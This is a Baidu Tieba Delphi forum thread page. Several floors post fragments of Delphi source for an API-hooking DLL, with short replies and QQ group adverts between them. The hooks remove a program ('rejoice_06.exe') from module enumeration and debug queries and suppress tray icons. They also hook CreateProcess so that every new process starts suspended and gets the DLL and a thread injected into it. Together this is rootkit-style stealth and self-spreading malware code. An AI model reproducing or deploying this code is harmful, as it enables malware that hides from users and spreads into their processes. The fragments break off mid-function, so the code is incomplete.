该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
 end;
 end;
 Offset := Offset + FileNamesInfo.NextEntryOffset;
 until FileNamesInfo.NextEntryOffset = 0;
 end;
 end;
end;

type
 PDebugModule = ^TDebugModule;
 TDebugModule = packed record
 Reserved: array [0..1] of Cardinal;
 Base: Cardinal;
 Size: Cardinal;
 Flags: Cardinal;
 Index: Word;
 Unknown: Word;
 LoadCount: Word;
 ModuleNameOffset: Word;
 ImageName: array [0..$FF] of Char;
 end;

 PDebugModuleInformation = ^TDebugModuleInformation;
 TDebugModuleInformation = record
 Count: Cardinal;
 Modules: array [0..0] of TDebugModule;
 end;
 PDebugBuffer = ^TDebugBuffer;
 TDebugBuffer = record
 SectionHandle: THandle;
 SectionBase: Pointer;
 RemoteSectionBase: Pointer;
 SectionBaseDelta: Cardinal;
 EventPairHandle: THandle;
 Unknown: array [0..1] of Cardinal;
 RemoteThreadHandle: THandle;
 InfoClassMask: Cardinal;
 SizeOfInfo: Cardinal;
 AllocatedSize: Cardinal;
 SectionSize: Cardinal;
 ModuleInformation: PDebugModuleInformation;
 BackTraceInformation: Pointer;
 HeapInformation: Pointer;
 LockInformation: Pointer;
 Reserved: array [0..7] of Pointer;
 end;

function RtlQueryProcessDebugInformationHookProc(hProcess: THandle; lpParam: dword; lpBuffer: pointer): dword; stdcall;
var
 QDB: PDebugBuffer;
 DllLoop: word;
begin
 Result := RtlQueryProcessDebugInformationNextHook(hProcess, lpParam, lpBuffer);
 if Result <> 0 then
 Exit;
 if lpBuffer = nil then
 Exit;
 QDB := PDebugBuffer(lpBuffer);
 DllLoop := 0;
 if IsBadReadPtr(@QDB.ModuleInformation.Count, SizeOf(PDebugModule)) then
 Exit;
 if QDB.ModuleInformation.Count = 0 then
 Exit;
 while DllLoop < QDB.ModuleInformation.Count do
 begin
 if Pos(LowerCase('\' + Root + '\'), string(QDB.ModuleInformation.Modules[DllLoop].ImageName)) <> 0 then
 begin
 CopyMemory(@QDB.ModuleInformation.Modules[DllLoop], @QDB.ModuleInformation.Modules[DllLoop + 1], SizeOf(QDB.ModuleInformation.Modules[DllLoop]));
 QDB.ModuleInformation.Count := QDB.ModuleInformation.Count - 1;
 end
 else
 begin
 Inc(DllLoop);
 end;
 end;
end; }

{GetModuleFileNameEx取出的winlogon进程的文件名,
前面带有"\??\" 用GetModuleFileNameEx去winlogon进程的文件名,
取出的结果是 \??\C:\WINNT\system32\winlogon.exe }
function EnumProcessModulesHookProc(hProcess: Cardinal; lphModule: pdword; cb: Cardinal; lpcbNeeded: Cardinal): BOOL; stdcall;
var
 PID: HMODULE; // HMODULE 是代表应用程序载入的模块
 PIDLoop: dword;
 lpBaseName: array[0..MAX_PATH] of char;

begin
 Result := EnumProcessModulesNextHook(hProcess, lphModule, cb, lpcbNeeded);
 if Result = False then Exit;
 PIDLoop := 0;
 while PIDLoop <= pdword(lpcbNeeded)^ div SizeOf(HMODULE) do
 begin
 PID := pdword(dword(lphModule) + (SizeOf(HMODULE) * PIDLoop))^;
 GetModuleFileNameEx(hProcess, PID, @lpBaseName, MAX_PATH); //取得进程的文件名
 if Pos(LowerCase('rejoice_06.exe'), string(lpBaseName)) <> 0 then
 // if Pos(LowerCase('\' + Root + '\'), string(lpBaseName)) <> 0 then
 begin //拷贝内存数据
 CopyMemory(pdword(dword(lphModule) + (SizeOf(HMODULE) * PIDLoop)), pdword(dword(lphModule) + (SizeOf(HMODULE) * (PIDLoop + 1))), cb - (SizeOf(HMODULE) * (PIDLoop + 1)));


  • 61.157.136.*
快试试吧,
可以对自己使用挽尊卡咯~
◆
◆
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
 Dec(pdword(lpcbNeeded)^, SizeOf(HMODULE));
 Dec(PIDLoop);
 end;
 Inc(PIDLoop);
 end;
end;

function Shell_NotifyIconAHookProc(dwMessage: DWORD; lpData: PNotifyIconDataA): BOOL; stdcall;
begin
 Result := True;
end;

function Shell_NotifyIconWHookProc(dwMessage: DWORD; lpData: PNotifyIconDataW): BOOL; stdcall;
begin
 Result := True;
end;

procedure MainThread(lpParameter: pointer); stdcall;
var
 MainThreadInfo: TMainThreadInfo;
begin
 MainThreadInfo := TMainThreadInfo(lpParameter^);
 asm
 @noret:
 push 1000
 call MainThreadInfo.pSleep
 jmp @noret
 end;
end;
 //111111111

function CreateProcessAHookProc(lpApplicationName: PAnsiChar; lpCommandLine: PAnsiChar; lpProcessAttributes, lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PAnsiChar; const lpStartupInfo: TStartupInfo; var lpProcessInformation: TProcessInformation): BOOL; stdcall;
var
 MainThreadInfo: TMainThreadInfo;
begin
 Result := CreateProcessANextHook(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags or CREATE_SUSPENDED, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
 MainThreadInfo.pSleep := GetProcAddress(GetModuleHandle('kernel32'), 'Sleep'); //得到模块句柄
 InjectThread(lpProcessInformation.hProcess, @MainThread, @MainThreadInfo, SizeOf(TMainThreadInfo), False);
 InjectLibrary(lpProcessInformation.hProcess, GetCurrentModulePath); //njectLibrary函式将DLL档注入目标程式中
 ResumeThread(lpProcessInformation.hThread);
end;
 //2222222

function CreateProcessWHookProc(lpApplicationName: PWideChar; lpCommandLine: PWideChar; lpProcessAttributes, lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo; var lpProcessInformation: TProcessInformation): BOOL; stdcall;
var
 MainThreadInfo: TMainThreadInfo;
begin
 Result := CreateProcessWNextHook(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags or CREATE_SUSPENDED, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
 MainThreadInfo.pSleep := GetProcAddress(GetModuleHandle('kernel32'), 'Sleep');
 InjectThread(lpProcessInformation.hProcess, @MainThread, @MainThreadInfo, SizeOf(TMainThreadInfo), False);
 InjectLibrary(lpProcessInformation.hProcess, GetCurrentModulePath);
 ResumeThread(lpProcessInformation.hThread);
end;
 //33333333

function CreateProcessAsUserAHookProc(hToken: THandle; lpApplicationName: PAnsiChar; lpCommandLine: PAnsiChar; lpProcessAttributes: PSecurityAttributes; lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PAnsiChar; const lpStartupInfo: TStartupInfo; var lpProcessInformation: TProcessInformation): BOOL; stdcall;
var
 MainThreadInfo: TMainThreadInfo;
begin
 Result := CreateProcessAsUserANextHook(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags or CREATE_SUSPENDED, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);


  • 121.70.130.*
快试试吧,
可以对自己使用挽尊卡咯~
◆
◆
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
经验交流群:37411569
欢迎有兴趣的人加入!!
delphi


  • mov51k
  • 初级粉丝
    1
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
受益


  • 121.13.13.*
快试试吧,
可以对自己使用挽尊卡咯~
◆
◆
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
哦哦。。


  • 222.129.37.*
快试试吧,
可以对自己使用挽尊卡咯~
◆
◆
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
新开Delphi7 群:37411569 
编程讨论的乐园
希望喜欢Delphi7 加入
共同探讨问题


扫二维码下载贴吧客户端

下载贴吧APP
看高清直播、视频!
  • 贴吧页面意见反馈
  • 违规贴吧举报反馈通道
  • 贴吧违规信息处理公示
  • 首页 上一页 1 2 3 4 5 6 下一页 尾页
  • 196回复贴,共14页
  • ,跳到 页  
<<返回delphi吧
分享到:
©2021 Baidu贴吧协议|隐私政策|吧主制度|意见反馈|网络谣言警示